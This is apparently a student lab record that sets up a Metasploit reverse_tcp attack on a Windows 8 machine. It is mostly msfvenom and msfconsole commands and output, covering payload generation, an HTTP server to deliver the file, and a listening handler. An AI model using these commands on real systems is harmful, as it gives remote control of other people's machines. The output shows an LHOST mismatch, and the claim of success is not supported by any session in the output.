

METASPLOIT

Aim: To set up the Metasploit framework and exploit reverse_tcp in a Windows 8 machine remotely.

Algorithm:

1. Generate payload to be inserted into the remote machine
2. Set the LHOST and it's port number
3. Open msfconsole.
4. Use exploit/multi/handler
5. Establish reverse_tcp with the remote windows 8 machine.
6. Run SimpleHTTPServer with port number 8000.
7. Open the web browser in Windows 8 machine and type http://172.16.8.155:8000
8. In KaliLinux, type sysinfo to get the information about Windows 8 machine
9. Create a new directory using mkdir command.
10. Delete the created directory.

Output:

```
root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp
LHOST=172.16.8.155 LPORT=443 -f exe > /root/hi.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the
payload [-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload Payload size: 341 bytes
Final size of exe file: 73802 bytes root@kali:~# msfconsole
[-] ***Rting the Metasploit Framework console...\
[-] * WARNING: No database support: could not connect to server: Connection
refused Is the server running on host "localhost" (::1) and accepting
TCP/IP connections on port 5432? could not connect to server: Connection refused
Is the server running on host "localhost" (127.0.0.1) and accepting TCP/IP
connections on port 5432?

[-] ***
```

_ _
 /\ ^ _ /_

||\ / | \ \ ||\ _ \ \
 ||\ || \ | - - | ^ / \ | - / || || || | - - |
 | _ || | _ | | _ / - \ \ \ || || \ / || | _
 / | / \ \ ^ \ \ / \ \ \ | | _ \ \ \

= [metasploit v5.0.41-dev]
+ -- == [1914 exploits - 1074 auxiliary - 330 post]
+ -- == [556 payloads - 45 encoders - 10 nops]
+ -- == [4 evasion]

msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > show options Module options
(exploit/multi/handler):
Name Current Setting Required Description

Payload options (windows/meterpreter/reverse_tcp): Name Current Setting
Required Description

EXITFUNC	process	yes	Exit technique (Accepted: ", seh, thread, process, none)
LHOST		yes	The listen address (an interface may be specified)
LPORT	4444	yes	The listen port

Exploit target:
Id Name

0 Wildcard Target

```
msf5 exploit(multi/handler) > set LHOST 172.16.8.155 LHOST => 172.16.8.156  
msf5 exploit(multi/handler) > set LPORT 443 LPORT => 443  
msf5 exploit(multi/handler) > exploit
```

```
[*] Started reverse TCP handler on 172.16.8.155:443
```

Result:

Thus to set up the Metasploit framework and exploit reverse_tcp in a Windows 8 machine remotely was executed successfully.